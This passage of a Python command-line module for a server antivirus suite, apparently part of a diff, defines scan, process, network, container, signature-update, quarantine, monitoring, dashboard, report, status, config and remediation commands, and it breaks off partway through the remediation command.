rich.text import Text +from rich import box + +from ayn_antivirus import __version__ +from ayn_antivirus.config import Config +from ayn_antivirus.constants import ( + DEFAULT_DB_PATH, + DEFAULT_LOG_PATH, + DEFAULT_QUARANTINE_PATH, + DEFAULT_SCAN_PATH, + HIGH_CPU_THRESHOLD, +) +from ayn_antivirus.utils.helpers import format_size, format_duration + +# --------------------------------------------------------------------------- +# Console singletons +# --------------------------------------------------------------------------- +console = Console(stderr=True) +out = Console() + +# --------------------------------------------------------------------------- +# Severity helpers +# --------------------------------------------------------------------------- +SEVERITY_STYLES = { + "CRITICAL": "bold red", + "HIGH": "bold yellow", + "MEDIUM": "bold blue", + "LOW": "bold green", +} + + +def severity_text(level: str) -> Text: + """Return a Rich Text object coloured by severity.""" + return Text(level, style=SEVERITY_STYLES.get(level.upper(), "white")) + + +# --------------------------------------------------------------------------- +# Banner +# --------------------------------------------------------------------------- +BANNER = r""" +[bold cyan] ██████╗ ██╗ ██╗███╗ ██╗ + ██╔══██╗╚██╗ ██╔╝████╗ ██║ + ███████║ ╚████╔╝ ██╔██╗ ██║ + ██╔══██║ ╚██╔╝ ██║╚██╗██║ + ██║ ██║ ██║ ██║ ╚████║ + ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝[/bold cyan] +[bold white] ⚔️ AYN ANTIVIRUS v{version} ⚔️[/bold white] +[dim] Server Protection Suite[/dim] +""".strip() + + +def print_banner() -> None: + """Print the AYN ASCII banner.""" + console.print() + console.print(BANNER.format(version=__version__)) + console.print() + + +# --------------------------------------------------------------------------- +# Progress bar factory +# --------------------------------------------------------------------------- +def make_progress(**kwargs) -> Progress: + """Return a pre-configured Rich progress bar.""" + return Progress( + SpinnerColumn(), + TextColumn("[bold blue]{task.description}"), + BarColumn(bar_width=40), + MofNCompleteColumn(), + TimeElapsedColumn(), + TimeRemainingColumn(), + console=console, + **kwargs, + ) + + +# --------------------------------------------------------------------------- +# Root group +# --------------------------------------------------------------------------- +@click.group(invoke_without_command=True) +@click.option( + "--config", + "config_path", + type=click.Path(exists=True, dir_okay=False), + default=None, + help="Path to a YAML configuration file.", +) +@click.option("--verbose", "-v", is_flag=True, help="Enable verbose output.") +@click.version_option(version=__version__, prog_name="ayn-antivirus") +@click.pass_context +def main(ctx: click.Context, config_path: Optional[str], verbose: bool) -> None: + """AYN Antivirus — Comprehensive server protection suite. + + Anti-malware · Anti-spyware · Anti-cryptominer · Rootkit detection + """ + ctx.ensure_object(dict) + ctx.obj = Config.load(config_path) + ctx.obj._verbose = verbose # type: ignore[attr-defined] + + if ctx.invoked_subcommand is None: + print_banner() + click.echo(ctx.get_help()) + + +# =================================================================== +# scan +# =================================================================== +@main.command() +@click.option( + "--path", + "scan_path", + type=click.Path(exists=True), + default=None, + help="Target path to scan (default: configured scan paths).", +) +@click.option("--quick", is_flag=True, help="Quick scan — critical directories only.") +@click.option("--deep", is_flag=True, help="Deep scan — includes memory and hidden artifacts.") +@click.option( + "--file", + "single_file", + type=click.Path(exists=True, dir_okay=False), + default=None, + help="Scan a single file.", +) +@click.option( + "--exclude", + multiple=True, + help="Glob pattern(s) to exclude from the scan.", +) +@click.pass_obj +def scan( + cfg: Config, + scan_path: Optional[str], + quick: bool, + deep: bool, + single_file: Optional[str], + exclude: tuple, +) -> None: + """Run a file-system threat scan. + + By default, all configured scan paths are checked. Use --quick for a fast + pass over /tmp, /var/tmp, /dev/shm, and crontabs, or --deep to also inspect + running process memory regions. + + \b + Examples + -------- + ayn-antivirus scan + ayn-antivirus scan --path /home --exclude '*.log' + ayn-antivirus scan --quick + ayn-antivirus scan --file /tmp/suspicious.bin + """ + from ayn_antivirus.core.engine import ScanEngine, FileScanResult + + print_banner() + + if quick and deep: + console.print("[red]Error:[/red] --quick and --deep are mutually exclusive.") + raise SystemExit(1) + + engine = ScanEngine(cfg) + + # Determine scan mode label + if single_file: + mode = "single-file" + targets = [single_file] + elif quick: + mode = "quick" + targets = ["/tmp", "/var/tmp", "/dev/shm", "/var/spool/cron", "/etc/cron.d"] + elif scan_path: + mode = "targeted" + targets = [scan_path] + else: + mode = "deep" if deep else "full" + targets = cfg.scan_paths + + exclude_patterns = list(exclude) + cfg.exclude_paths + + console.print( + Panel( + f"[bold]Mode:[/bold] {mode}\n" + f"[bold]Targets:[/bold] {', '.join(targets)}\n" + f"[bold]Exclude:[/bold] {', '.join(exclude_patterns) or '(none)'}\n" + f"[bold]YARA:[/bold] {'enabled' if cfg.enable_yara else 'disabled'}\n" + f"[bold]Heuristics:[/bold] {'enabled' if cfg.enable_heuristics else 'disabled'}", + title="[bold cyan]Scan Configuration[/bold cyan]", + border_style="cyan", + ) + ) + + # --- Single file scan --- + if single_file: + console.print() + with make_progress(transient=True) as progress: + task = progress.add_task("Scanning file…", total=1) + result = engine.scan_file(single_file) + progress.advance(task) + + if result.threats: + _print_threat_table_from_engine(result.threats) + _print_scan_summary( + scanned=1 if result.scanned else 0, + errors=1 if result.error else 0, + threat_count=len(result.threats), + elapsed=0.0, + ) + return + + # --- Quick scan --- + if quick: + console.print() + start = time.monotonic() + scan_result = engine.quick_scan( + callback=lambda _fr: None, + ) + elapsed = time.monotonic() - start + + if scan_result.threats: + _print_threat_table_from_engine(scan_result.threats) + _print_scan_summary( + scanned=scan_result.files_scanned, + errors=scan_result.files_skipped, + threat_count=len(scan_result.threats), + elapsed=elapsed, + ) + return + + # --- Path / full scan --- + console.print() + all_threats = [] + total_scanned = 0 + total_skipped = 0 + start = time.monotonic() + + for target in targets: + tp = Path(target) + if not tp.exists(): + console.print(f"[yellow]⚠ Path does not exist:[/yellow] {target}") + continue + + scan_result = engine.scan_path(target, recursive=True, quick=False) + total_scanned += scan_result.files_scanned + total_skipped += scan_result.files_skipped + all_threats.extend(scan_result.threats) + + elapsed = time.monotonic() - start + + if all_threats: + _print_threat_table_from_engine(all_threats) + _print_scan_summary( + scanned=total_scanned, + errors=total_skipped, + threat_count=len(all_threats), + elapsed=elapsed, + ) + + +def _print_scan_summary( + scanned: int, errors: int, threat_count: int, elapsed: float +) -> None: + """Render the post-scan summary panel.""" + status_colour = "green" if threat_count == 0 else "red" + status_icon = "✅" if threat_count == 0 else "🚨" + + lines = [ + f"[bold]Files scanned:[/bold] {scanned}", + f"[bold]Errors:[/bold] {errors}", + f"[bold]Threats found:[/bold] [{status_colour}]{threat_count}[/{status_colour}]", + f"[bold]Elapsed:[/bold] {format_duration(elapsed)}", + ] + + console.print() + console.print( + Panel( + "\n".join(lines), + title=f"{status_icon} [bold {status_colour}]Scan Complete[/bold {status_colour}]", + border_style=status_colour, + ) + ) + + +def _print_threat_table_from_engine(threats: list) -> None: + """Render a table of ThreatInfo objects from the engine.""" + table = Table( + title="Threats Detected", + box=box.ROUNDED, + show_lines=True, + title_style="bold red", + ) + table.add_column("#", style="dim", width=4) + table.add_column("Severity", width=10) + table.add_column("File", style="cyan", max_width=60) + table.add_column("Threat", style="white") + table.add_column("Type", style="dim") + table.add_column("Detector", style="dim") + + for idx, t in enumerate(threats, 1): + sev = t.severity.name if hasattr(t.severity, "name") else str(t.severity) + ttype = t.threat_type.name if hasattr(t.threat_type, "name") else str(t.threat_type) + table.add_row( + str(idx), + severity_text(sev), + t.path, + t.threat_name, + ttype, + t.detector_name, + ) + + console.print() + console.print(table) + + +# =================================================================== +# scan-processes +# =================================================================== +@main.command("scan-processes") +@click.pass_obj +def scan_processes(cfg: Config) -> None: + """Scan running processes for malware, miners, and suspicious activity. + + Inspects process names, command lines, CPU usage, and open network + connections against known cryptominer signatures and heuristics. + """ + from ayn_antivirus.core.engine import ScanEngine + + print_banner() + + console.print( + Panel( + "[bold]Checking running processes…[/bold]", + title="[bold cyan]Process Scanner[/bold cyan]", + border_style="cyan", + ) + ) + + engine = ScanEngine(cfg) + + with make_progress(transient=True) as progress: + task = progress.add_task("Scanning processes…", total=None) + result = engine.scan_processes() + progress.update(task, total=result.processes_scanned, completed=result.processes_scanned) + + if not result.threats: + console.print( + Panel( + f"[green]Scanned {result.processes_scanned} processes — no threats.[/green]", + title="✅ [bold green]All Clear[/bold green]", + border_style="green", + ) + ) + return + + table = Table( + title="Suspicious Processes", + box=box.ROUNDED, + show_lines=True, + title_style="bold red", + ) + table.add_column("PID", style="dim", width=8) + table.add_column("Severity", width=10) + table.add_column("Process", style="cyan") + table.add_column("CPU %", style="white", justify="right") + table.add_column("Details", style="white", max_width=50) + + for t in result.threats: + sev = t.severity.name if hasattr(t.severity, "name") else str(t.severity) + table.add_row( + str(t.pid), + severity_text(sev), + t.name, + f"{t.cpu_percent:.1f}%", + t.details, + ) + + console.print() + console.print(table) + console.print( + f"\n[bold red]🚨 {len(result.threats)} suspicious process(es) found.[/bold red]" + ) + + +# =================================================================== +# scan-network +# =================================================================== +@main.command("scan-network") +@click.pass_obj +def scan_network(cfg: Config) -> None: + """Scan active network connections for suspicious activity. + + Checks for connections to known mining pools, suspicious ports, and + unexpected outbound traffic patterns. + """ + from ayn_antivirus.core.engine import ScanEngine + + print_banner() + + console.print( + Panel( + "[bold]Inspecting network connections…[/bold]", + title="[bold cyan]Network Scanner[/bold cyan]", + border_style="cyan", + ) + ) + + engine = ScanEngine(cfg) + + with make_progress(transient=True) as progress: + task = progress.add_task("Analysing connections…", total=None) + result = engine.scan_network() + progress.update(task, total=result.connections_scanned, completed=result.connections_scanned) + + if not result.threats: + console.print( + Panel( + f"[green]Scanned {result.connections_scanned} connections — no threats.[/green]", + title="✅ [bold green]Network Clear[/bold green]", + border_style="green", + ) + ) + return + + table = Table( + title="Suspicious Connections", + box=box.ROUNDED, + show_lines=True, + title_style="bold red", + ) + table.add_column("PID", style="dim", width=8) + table.add_column("Severity", width=10) + table.add_column("Local", style="cyan") + table.add_column("Remote", style="red") + table.add_column("Process", style="white") + table.add_column("Details", style="white", max_width=45) + + for t in result.threats: + sev = t.severity.name if hasattr(t.severity, "name") else str(t.severity) + table.add_row( + str(t.pid or "?"), + severity_text(sev), + t.local_addr, + t.remote_addr, + t.process_name, + t.details, + ) + + console.print() + console.print(table) + console.print( + f"\n[bold red]🚨 {len(result.threats)} suspicious connection(s) found.[/bold red]" + ) + + +# =================================================================== +# scan-containers +# =================================================================== +@main.command("scan-containers") +@click.option( + "--runtime", + type=click.Choice(["all", "docker", "podman", "lxc"]), + default="all", + help="Container runtime to scan.", +) +@click.option("--container", default=None, help="Scan a specific container by ID or name.") +@click.option("--include-stopped", is_flag=True, help="Include stopped containers.") +@click.pass_obj +def scan_containers(cfg: Config, runtime: str, container: Optional[str], include_stopped: bool) -> None: + """Scan Docker/Podman/LXC containers for threats. + + Detects cryptominers, malware, reverse shells, misconfigurations, + and suspicious SUID binaries inside running containers. + + \b + Examples + -------- + ayn-antivirus scan-containers + ayn-antivirus scan-containers --runtime docker + ayn-antivirus scan-containers --container my-web-app + """ + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + print_banner() + + scanner = ContainerScanner() + + if not scanner.available_runtimes: + console.print("[yellow]\u26a0 No container runtimes found (docker/podman/lxc)[/yellow]") + console.print("[dim]Install Docker, Podman, or LXC to use container scanning.[/dim]") + return + + console.print(f"[cyan]\U0001f433 Available runtimes:[/cyan] {', '.join(scanner.available_runtimes)}") + + if container: + console.print(f"\n[bold]Scanning container: {container}[/bold]") + else: + console.print(f"\n[bold]Scanning {runtime} containers\u2026[/bold]") + + with Progress( + SpinnerColumn(), + TextColumn("[progress.description]{task.description}"), + BarColumn(), + TimeElapsedColumn(), + console=console, + ) as progress: + task = progress.add_task("Scanning containers\u2026", total=None) + if container: + result = scanner.scan_container(container) + else: + result = scanner.scan(runtime) + progress.update(task, completed=100, total=100) + + # -- Containers table -- + if result.containers: + console.print(f"\n[bold green]\U0001f4e6 Containers Found: {result.containers_found}[/bold green]") + table = Table(title="Containers", box=box.ROUNDED, border_style="blue") + table.add_column("ID", style="cyan", max_width=12) + table.add_column("Name", style="white") + table.add_column("Image", style="dim") + table.add_column("Runtime", style="magenta") + table.add_column("Status") + table.add_column("IP", style="dim") + for c in result.containers: + sc = "green" if c.status == "running" else "red" if c.status == "stopped" else "yellow" + table.add_row( + c.container_id[:12], c.name, c.image[:40], c.runtime, + f"[{sc}]{c.status}[/{sc}]", + c.ip_address or "-", + ) + console.print(table) + + # -- Threats table -- + if result.threats: + console.print(f"\n[bold red]\U0001f6a8 Threats Found: {len(result.threats)}[/bold red]") + tt = Table(title="Container Threats", box=box.ROUNDED, border_style="red") + tt.add_column("Container", style="cyan") + tt.add_column("Threat", style="white") + tt.add_column("Type", style="magenta") + tt.add_column("Severity") + tt.add_column("Details", max_width=60) + sev_colors = {"CRITICAL": "red", "HIGH": "yellow", "MEDIUM": "blue", "LOW": "green"} + for t in result.threats: + sc = sev_colors.get(t.severity, "white") + tt.add_row( + t.container_name, t.threat_name, t.threat_type, + f"[{sc}]{t.severity}[/{sc}]", + t.details[:60], + ) + console.print(tt) + else: + console.print("\n[bold green]\u2705 No threats detected in containers.[/bold green]") + + if result.errors: + console.print(f"\n[yellow]\u26a0 Errors: {len(result.errors)}[/yellow]") + for err in result.errors: + console.print(f" [dim]\u2022 {err}[/dim]") + + console.print( + f"\n[dim]Scan completed in {result.duration_seconds:.1f}s | " + f"Containers scanned: {result.containers_scanned}/{result.containers_found}[/dim]" + ) + + +# =================================================================== +# update +# =================================================================== +@main.command() +@click.option("--force", is_flag=True, help="Force re-download even if signatures are fresh.") +@click.pass_obj +def update(cfg: Config, force: bool) -> None: + """Update threat signatures from all configured feeds. + + Downloads the latest YARA rules, hash databases, and threat intelligence + feeds. Requires network access and (optionally) API keys configured in + .env or config.yaml. + """ + from ayn_antivirus.signatures.manager import SignatureManager + + print_banner() + + console.print( + Panel( + "[bold]Updating threat signatures…[/bold]", + title="[bold cyan]Signature Updater[/bold cyan]", + border_style="cyan", + ) + ) + + mgr = SignatureManager(cfg) + + feed_names = mgr.feed_names + feed_results = {} + errors = [] + + with make_progress() as progress: + task = progress.add_task("Updating feeds…", total=len(feed_names)) + for name in feed_names: + progress.update(task, description=f"Updating {name}…") + try: + stats = mgr.update_feed(name) + feed_results[name] = stats + except Exception as exc: + feed_results[name] = {"error": str(exc)} + errors.append(name) + progress.advance(task) + + # --- Per-feed status table --- + table = Table( + title="Feed Update Results", + box=box.ROUNDED, + show_lines=True, + ) + table.add_column("Feed", style="cyan") + table.add_column("Status", width=10) + table.add_column("Fetched", justify="right") + table.add_column("Hashes", justify="right") + table.add_column("IPs", justify="right") + table.add_column("Domains", justify="right") + table.add_column("URLs", justify="right") + + total_new = 0 + for name, stats in feed_results.items(): + if "error" in stats: + table.add_row(name, "[red]ERROR[/red]", "-", "-", "-", "-", "-") + else: + inserted = stats.get("inserted", 0) + total_new += inserted + table.add_row( + name, + "[green]OK[/green]", + str(stats.get("fetched", 0)), + str(stats.get("hashes", 0)), + str(stats.get("ips", 0)), + str(stats.get("domains", 0)), + str(stats.get("urls", 0)), + ) + + console.print() + console.print(table) + + status_msg = ( + f"[green]All {len(feed_names)} feeds updated — {total_new} new entries.[/green]" + if not errors + else f"[yellow]{len(feed_names) - len(errors)}/{len(feed_names)} feeds updated, " + f"{len(errors)} error(s).[/yellow]" + ) + + console.print( + Panel( + f"{status_msg}\n[bold]Database:[/bold] {cfg.db_path}", + title="✅ [bold green]Update Complete[/bold green]" if not errors + else "⚠️ [bold yellow]Update Partial[/bold yellow]", + border_style="green" if not errors else "yellow", + ) + ) + + mgr.close() + + +# =================================================================== +# quarantine (sub-group) +# =================================================================== +@main.group() +@click.pass_obj +def quarantine(cfg: Config) -> None: + """Manage the quarantine vault. + + Quarantined files are encrypted and isolated. Use subcommands to list, + inspect, restore, or permanently delete quarantined items. + """ + pass + + +def _get_vault(cfg: Config): + """Lazily create a QuarantineVault from config.""" + from ayn_antivirus.quarantine.vault import QuarantineVault + return QuarantineVault(cfg.quarantine_path) + + +@quarantine.command("list") +@click.pass_obj +def quarantine_list(cfg: Config) -> None: + """List all quarantined items.""" + print_banner() + + vault = _get_vault(cfg) + + console.print( + Panel( + f"[bold]Quarantine path:[/bold] {cfg.quarantine_path}", + title="[bold cyan]Quarantine Vault[/bold cyan]", + border_style="cyan", + ) + ) + + items = vault.list_quarantined() + if not items: + console.print("[dim]Quarantine vault is empty.[/dim]") + return + + table = Table(box=box.ROUNDED, show_lines=True) + table.add_column("ID", style="dim", width=34) + table.add_column("Threat", style="red") + table.add_column("Original Path", style="cyan", max_width=50) + table.add_column("Quarantined At", style="white") + table.add_column("Size", style="dim", justify="right") + + for item in items: + table.add_row( + item.get("id", "?"), + item.get("threat_name", "?"), + item.get("original_path", "?"), + item.get("quarantine_date", "?"), + format_size(item.get("size", 0)), + ) + + console.print(table) + console.print(f"\n[bold]{len(items)}[/bold] item(s) quarantined.") + + +@quarantine.command("restore") +@click.argument("quarantine_id", type=str) +@click.option("--output", type=click.Path(), default=None, help="Restore to this path instead of original.") +@click.pass_obj +def quarantine_restore(cfg: Config, quarantine_id: str, output: Optional[str]) -> None: + """Restore a quarantined item by its ID. + + The file is decrypted and moved back to its original location. + Use `quarantine list` to find the ID. + """ + print_banner() + + vault = _get_vault(cfg) + try: + restored = vault.restore_file(quarantine_id, restore_path=output) + console.print(f"[green]✅ Restored:[/green] {restored}") + except FileNotFoundError as exc: + console.print(f"[red]Error:[/red] {exc}") + raise SystemExit(1) + + +@quarantine.command("delete") +@click.argument("quarantine_id", type=str) +@click.confirmation_option(prompt="Permanently delete this quarantined item?") +@click.pass_obj +def quarantine_delete(cfg: Config, quarantine_id: str) -> None: + """Permanently delete a quarantined item by its ID. + + This action is irreversible. You will be prompted for confirmation. + """ + print_banner() + + vault = _get_vault(cfg) + if vault.delete_file(quarantine_id): + console.print(f"[red]Deleted:[/red] {quarantine_id}") + else: + console.print(f"[yellow]Not found:[/yellow] {quarantine_id}") + + +@quarantine.command("info") +@click.argument("quarantine_id", type=str) +@click.pass_obj +def quarantine_info(cfg: Config, quarantine_id: str) -> None: + """Show detailed information about a quarantined item.""" + print_banner() + + vault = _get_vault(cfg) + try: + info = vault.get_info(quarantine_id) + except FileNotFoundError: + console.print(f"[red]Error:[/red] Quarantine ID not found: {quarantine_id}") + raise SystemExit(1) + + console.print( + Panel( + f"[bold]ID:[/bold] {info.get('id', '?')}\n" + f"[bold]Threat:[/bold] {info.get('threat_name', '?')}\n" + f"[bold]Type:[/bold] {info.get('threat_type', '?')}\n" + f"[bold]Severity:[/bold] {info.get('severity', '?')}\n" + f"[bold]Original path:[/bold] {info.get('original_path', '?')}\n" + f"[bold]Permissions:[/bold] {info.get('original_permissions', '?')}\n" + f"[bold]Size:[/bold] {format_size(info.get('file_size', 0))}\n" + f"[bold]Hash:[/bold] {info.get('file_hash', '?')}\n" + f"[bold]Quarantined:[/bold] {info.get('quarantine_date', '?')}", + title="[bold cyan]Quarantine Item Detail[/bold cyan]", + border_style="cyan", + ) + ) + + +# =================================================================== +# monitor +# =================================================================== +@main.command() +@click.option( + "--paths", + multiple=True, + help="Directories to watch (default: configured scan paths).", +) +@click.option("--daemon", "-d", is_flag=True, help="Run in background as a daemon.") +@click.pass_obj +def monitor(cfg: Config, paths: tuple, daemon: bool) -> None: + """Start real-time file-system monitoring. + + Watches configured directories for new or modified files and scans them + immediately. Uses inotify (Linux) / FSEvents (macOS) via watchdog. + + Press Ctrl+C to stop. + """ + from ayn_antivirus.core.engine import ScanEngine + from ayn_antivirus.monitor.realtime import RealtimeMonitor + + print_banner() + + watch_paths = list(paths) if paths else cfg.scan_paths + + console.print( + Panel( + "[bold]Watching:[/bold] " + ", ".join(watch_paths) + "\n" + "[bold]Mode:[/bold] " + ("daemon" if daemon else "foreground") + "\n" + "[bold]Auto-quarantine:[/bold] " + ("on" if cfg.auto_quarantine else "off"), + title="[bold cyan]Real-Time Monitor[/bold cyan]", + border_style="cyan", + ) + ) + + engine = ScanEngine(cfg) + rt_monitor = RealtimeMonitor(cfg, engine) + rt_monitor.start(paths=watch_paths, recursive=True) + + console.print("[green]\u2705 Real-time monitor active. Press Ctrl+C to stop.[/green]\n") + try: + while rt_monitor.is_running: + time.sleep(1) + except KeyboardInterrupt: + rt_monitor.stop() + console.print("\n[yellow]Monitor stopped.[/yellow]") + + +# =================================================================== +# dashboard +# =================================================================== +@main.command() +@click.option("--host", default=None, help="Dashboard host (default: 0.0.0.0).") +@click.option("--port", type=int, default=None, help="Dashboard port (default: 7777).") +@click.pass_obj +def dashboard(cfg: Config, host: Optional[str], port: Optional[int]) -> None: + """Start the live web security dashboard. + + Opens an aiohttp web server with real-time system metrics, threat + monitoring, container scanning, and signature management. + + \b + Examples + -------- + ayn-antivirus dashboard + ayn-antivirus dashboard --host 127.0.0.1 --port 8080 + """ + print_banner() + + if host: + cfg.dashboard_host = host + if port: + cfg.dashboard_port = port + + console.print( + Panel( + f"[bold cyan]\U0001f310 Starting AYN Antivirus Dashboard[/bold cyan]\n\n" + f" URL: [green]http://{cfg.dashboard_host}:{cfg.dashboard_port}[/green]\n" + f" Press [bold]Ctrl+C[/bold] to stop", + title="\u2694\ufe0f Dashboard", + border_style="cyan", + ) + ) + + try: + from ayn_antivirus.dashboard.server import DashboardServer + + server = DashboardServer(cfg) + server.run() + except KeyboardInterrupt: + console.print("\n[yellow]Dashboard stopped.[/yellow]") + except ImportError as exc: + console.print(f"[red]Missing dependency: {exc}[/red]") + console.print("[dim]Install aiohttp: pip install aiohttp[/dim]") + except Exception as exc: + console.print(f"[red]Dashboard error: {exc}[/red]") + + +# =================================================================== +# report +# =================================================================== +@main.command() +@click.option( + "--format", + "fmt", + type=click.Choice(["text", "json", "html"], case_sensitive=False), + default="text", + show_default=True, + help="Output format for the report.", +) +@click.option( + "--output", + "output_path", + type=click.Path(dir_okay=False), + default=None, + help="Write report to this file instead of stdout.", +) +@click.option( + "--path", + "scan_path", + type=click.Path(exists=True), + default=None, + help="Run a scan and generate a report from results.", +) +@click.pass_obj +def report(cfg: Config, fmt: str, output_path: Optional[str], scan_path: Optional[str]) -> None: + """Generate a scan report. + + Runs a scan (or uses the last cached result) and compiles findings into + a human- or machine-readable report. + + \b + Examples + -------- + ayn-antivirus report + ayn-antivirus report --format json --output /tmp/report.json + ayn-antivirus report --format html --output report.html + ayn-antivirus report --path /var/www --format html --output www_report.html + """ + from ayn_antivirus.core.engine import ScanEngine, ScanResult + from ayn_antivirus.reports.generator import ReportGenerator + + print_banner() + + # Run a fresh scan to populate the report. + engine = ScanEngine(cfg) + if scan_path: + console.print(f"[bold]Scanning:[/bold] {scan_path}") + scan_result = engine.scan_path(scan_path, recursive=True) + else: + # Scan first configured path (or produce an empty result). + target = cfg.scan_paths[0] if cfg.scan_paths else "/" + if Path(target).exists(): + console.print(f"[bold]Scanning:[/bold] {target}") + scan_result = engine.scan_path(target, recursive=True) + else: + scan_result = ScanResult() + + gen = ReportGenerator() + + if fmt == "json": + content = gen.generate_json(scan_result) + elif fmt == "html": + content = gen.generate_html(scan_result) + else: + content = gen.generate_text(scan_result) + + if output_path: + gen.save_report(content, output_path) + console.print(f"[green]Report written to:[/green] {output_path}") + else: + out.print(content) + + +# =================================================================== +# status +# =================================================================== +@main.command() +@click.pass_obj +def status(cfg: Config) -> None: + """Show current protection status. + + Displays last scan time, signature freshness, threat counts, quarantine + size, and real-time monitor state at a glance. + """ + print_banner() + + sig_db = Path(cfg.db_path) + sig_status = "[green]up to date[/green]" if sig_db.exists() else "[red]not found[/red]" + sig_modified = ( + datetime.fromtimestamp(sig_db.stat().st_mtime).strftime("%Y-%m-%d %H:%M:%S") + if sig_db.exists() + else "N/A" + ) + + # Use real vault count. + try: + vault = _get_vault(cfg) + quarantine_count = vault.count() + except Exception: + quarantine_count = 0 + + table = Table(box=box.SIMPLE_HEAVY, show_header=False, padding=(0, 2)) + table.add_column("Key", style="bold", width=24) + table.add_column("Value") + + table.add_row("Version", __version__) + table.add_row("Signature DB", sig_status) + table.add_row("Signatures Updated", sig_modified) + table.add_row("Last Scan", "[dim]N/A[/dim]") + table.add_row("Threats (last scan)", "[green]0[/green]") + table.add_row("Quarantined Items", str(quarantine_count)) + table.add_row( + "Real-Time Monitor", + "[green]active[/green]" if cfg.enable_realtime_monitor else "[dim]inactive[/dim]", + ) + table.add_row("Auto-Quarantine", "[green]on[/green]" if cfg.auto_quarantine else "[dim]off[/dim]") + table.add_row("YARA Engine", "[green]enabled[/green]" if cfg.enable_yara else "[dim]disabled[/dim]") + table.add_row("Heuristics", "[green]enabled[/green]" if cfg.enable_heuristics else "[dim]disabled[/dim]") + + console.print( + Panel( + table, + title="[bold cyan]Protection Status[/bold cyan]", + border_style="cyan", + ) + ) + + +# =================================================================== +# config +# =================================================================== +@main.command("config") +@click.option("--show", is_flag=True, default=True, help="Display current configuration.") +@click.option("--set", "set_key", nargs=2, type=str, default=None, help="Set a config value: KEY VALUE.") +@click.pass_obj +def config_cmd(cfg: Config, show: bool, set_key: Optional[tuple]) -> None: + """Show or edit the current configuration. + + Without flags, prints the active configuration as a table. Use --set to + change a value (persisted to ~/.ayn-antivirus/config.yaml). + + \b + Examples + -------- + ayn-antivirus config + ayn-antivirus config --set auto_quarantine true + ayn-antivirus config --set scan_schedule '0 3 * * *' + """ + print_banner() + + if set_key: + key, value = set_key + + VALID_CONFIG_KEYS = { + "scan_paths", "exclude_paths", "quarantine_path", "db_path", + "log_path", "auto_quarantine", "scan_schedule", "max_file_size", + "enable_yara", "enable_heuristics", "enable_realtime_monitor", + "dashboard_host", "dashboard_port", "dashboard_db_path", + "api_keys", + } + if key not in VALID_CONFIG_KEYS: + console.print(f"[red]Invalid config key: {key}[/red]") + console.print(f"[dim]Valid keys: {', '.join(sorted(VALID_CONFIG_KEYS))}[/dim]") + return + + config_file = Path.home() / ".ayn-antivirus" / "config.yaml" + config_file.parent.mkdir(parents=True, exist_ok=True) + + import yaml + + data = {} + if config_file.exists(): + data = yaml.safe_load(config_file.read_text()) or {} + + # Coerce booleans / ints + if value.lower() in ("true", "false"): + value = value.lower() == "true" + else: + try: + value = int(value) + except ValueError: + pass + + data[key] = value + config_file.write_text(yaml.dump(data, default_flow_style=False)) + console.print(f"[green]Set[/green] [bold]{key}[/bold] = {value}") + console.print(f"[dim]Saved to {config_file}[/dim]") + return + + # Show current config + table = Table(box=box.SIMPLE_HEAVY, show_header=False, padding=(0, 2)) + table.add_column("Key", style="bold", width=24) + table.add_column("Value") + + table.add_row("scan_paths", ", ".join(cfg.scan_paths)) + table.add_row("exclude_paths", ", ".join(cfg.exclude_paths)) + table.add_row("quarantine_path", cfg.quarantine_path) + table.add_row("db_path", cfg.db_path) + table.add_row("log_path", cfg.log_path) + table.add_row("auto_quarantine", str(cfg.auto_quarantine)) + table.add_row("scan_schedule", cfg.scan_schedule) + table.add_row("max_file_size", format_size(cfg.max_file_size)) + table.add_row("enable_yara", str(cfg.enable_yara)) + table.add_row("enable_heuristics", str(cfg.enable_heuristics)) + table.add_row("enable_realtime_monitor", str(cfg.enable_realtime_monitor)) + table.add_row( + "api_keys", + ", ".join(f"{k}=***" for k in cfg.api_keys) if cfg.api_keys else "[dim](none)[/dim]", + ) + + console.print( + Panel( + table, + title="[bold cyan]Active Configuration[/bold cyan]", + border_style="cyan", + ) + ) + + +# =================================================================== +# fix +# =================================================================== +@main.command() +@click.option("--all", "fix_all", is_flag=True, help="Auto-remediate all detected threats.") +@click.option("--threat-id", type=int, default=None, help="Remediate a specific threat by ID.") +@click.option("--dry-run", is_flag=True, help="Preview actions without making changes.") +@click.pass_obj +def fix(cfg: Config, fix_all: bool, threat_id: Optional[int], dry_run: bool) -> None: + """Auto-patch and remediate detected threats. + + Runs a quick scan to find threats, then applies automatic remediation: + quarantine malicious files, kill rogue processes, remove malicious cron + entries, and clean persistence mechanisms. + + \b + Examples + -------- + ayn-antivirus fix --all + ayn-antivirus fix --all --dry-run + """ + from ayn_antivirus.core.engine import ScanEngine + from ayn_antivirus.remediation.patcher import AutoPatcher + + print_banner() + + if not fix_all and threat_id is None: + console.print("[red]Error:[/red] Specify --all or --threat-id .") + raise SystemExit(1) + + mode = "dry-run" if dry_run else "live" + scope = f"threat #{threat_id}" if threat_id else "all threats" + + console.print( + Panel( + f"[bold]Mode:[/bold] {mode}\n" + f"[bold]Scope:[/bold] {scope}", + title="[bold cyan]Remediation Engine[/bold cyan]", + border_style="cyan", + ) + ) + + # --- Run a quick scan to find threats --- + engine = ScanEngine(cfg) + + console.print("\n[bold]Running quick scan to identify threats…[/bold]") + scan_result = engine.quick_scan() + + threats = scan_result.threats + if not threats: + console.print( + Panel( + "[green]No threats found — nothing to remediate.[/green]", + title="✅ [bold green]System Clean[/bold green]", + border_style="green", + ) + ) + return + + if threat_id is not None: + if threat_id < 1 or threat_id > len(threats): + console.print(f"[red]Error:[/red] Threat ID {threat_id} out of range (1-{len(threats)}).") + raise SystemExit(1) + threats = [threats[threat_id - 1]] + + # --- Remediate --- + patcher = AutoPatcher(dry_run=dry_run) + all_actions = [] + + for threat in threats: + threat_dict = { + "threat_type": threat.threat_type.name if hasattr(threat.threat_type, "name") else str(threat.threat_type), + "path": threat.path, + "threat_name": threat.threat_name, + } + actions = patcher.remediate_threat(threat_dict) + all_actions.extend(actions) + + if not all_actions: + console.print("[green]No actionable remediation steps for found threats.[/green]") + return + + # --- Display results --- + table = Table( + title="Remediation Actions" + (" (DRY RUN)" if dry_run else ""), + box=box.ROUNDED, + show_lines=True, + title_style="bold yellow" if dry_run else "bold green", + ) + table.add_column("#", style="dim", width=4) + table.add_column("Action", style="white") + table.add_column("Target", style="cyan", max_width=55) + table.add_column("Status", width=10) + table.add_column("Details", style="dim", max_width=40) + + for idx, action in enumerate(all_actions, 1): + status_text = "[green]done[/green]" if action.success else 